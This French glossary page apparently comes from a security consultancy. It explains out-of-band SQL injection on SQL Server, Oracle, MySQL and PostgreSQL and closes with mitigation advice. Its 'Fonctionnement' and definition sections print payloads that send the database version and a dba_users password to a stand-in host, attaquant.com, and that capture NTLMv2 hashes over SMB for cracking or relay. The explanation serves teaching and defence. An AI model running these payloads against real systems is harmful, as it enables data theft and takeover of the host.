Out-of-Band SQL Injection
hackingDéfinition
L'injection SQL out-of-band (OOB) utilise des canaux de communication alternatifs au canal HTTP pour exfiltrer des données depuis la base de données. Au lieu d'inclure les données dans la réponse HTTP (union-based, error-based) ou de déduire les informations via des délais (time-based), l'OOB force la base de données à établir des connexions sortantes vers un serveur contrôlé par l'attaquant, transportant les données exfiltrées.
Les mécanismes OOB varient selon le SGBD : MySQL utilise LOAD_FILE() avec des chemins UNC (uniquement sur Windows avec les droits appropriés) ou des fonctions permettant des requêtes HTTP (MariaDB), SQL Server utilise des procédures stockées comme xp_dirtree (connexion SMB vers un path UNC) ou xp_cmdshell avec des commandes réseau, PostgreSQL utilise COPY TO avec des URLs ou des appels à des programmes externes, et Oracle utilise des packages UTL_HTTP pour des requêtes HTTP ou UTL_FILE pour des fichiers réseau.
L'exemple SQL Server est le plus documenté : '; EXEC xp_dirtree '\\attaquant.com\share\'+@@version--. Le serveur SQL tente d'accéder à un partage SMB dont le path contient la version de SQL Server. L'attaquant, avec Responder ou un serveur SMB (impacket-smbserver), capture cette connexion et lit la version dans le log.
L'OOB SQLi est particulièrement utile quand toutes les autres techniques sont inapplicables : l'application ne retourne pas de résultats, ne montre pas d'erreurs, et les délais sont masqués par des mécanismes de cache ou de load balancing. Elle nécessite que la base de données soit capable d'établir des connexions sortantes (souvent bloqué en production par les pare-feux) et des permissions élevées pour les procédures réseau.
Des outils comme OAST (Out-of-band Application Security Testing) via Burp Collaborator génèrent des sous-domaines uniques que la base de données contacter pour l'exfiltration, simplifiant la détection des connexions OOB.
Fonctionnement
SQL Server OOB via SMB : '; EXEC master..xp_dirtree '\\attaquant.com\a'-- force le serveur SQL à tenter une connexion SMB vers attaquant.com. Responder sur le serveur de l'attaquant capture le hash NTLMv2 du compte de service SQL. Ce hash peut être craqué (hashcat) ou utilisé directement en Relay attack. Oracle OOB via HTTP : ' UNION SELECT UTL_HTTP.request('http://attaquant.com/'||(SELECT password FROM dba_users WHERE rownum=1)) FROM dual-- exfiltre le mot de passe dans une requête HTTP.
Exploitation offensive
L'OOB SQL injection via SMB capture le hash NTLMv2 du compte de service, potentiellement un compte système (SYSTEM, NT SERVICE\MSSQLSERVER). Craquer ou relayer ce hash donne accès à la machine hôte du SQL Server, souvent critique dans l'infrastructure. Burp Collaborator facilite la détection des interactions OOB lors des tests de pénétration.
Détection et mitigation
Désactiver les procédures stockées dangereuses (EXEC sp_configure 'xp_cmdshell', 0 pour SQL Server), filtrer les connexions réseau sortantes depuis les serveurs de base de données (firewall), et appliquer le moindre privilège sur les comptes de service SQL. La détection se fait par surveillance des connexions réseau inhabituelles depuis le serveur de base de données.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés.
Un projet cybersécurité ?
Expert dispo · Réponse 24h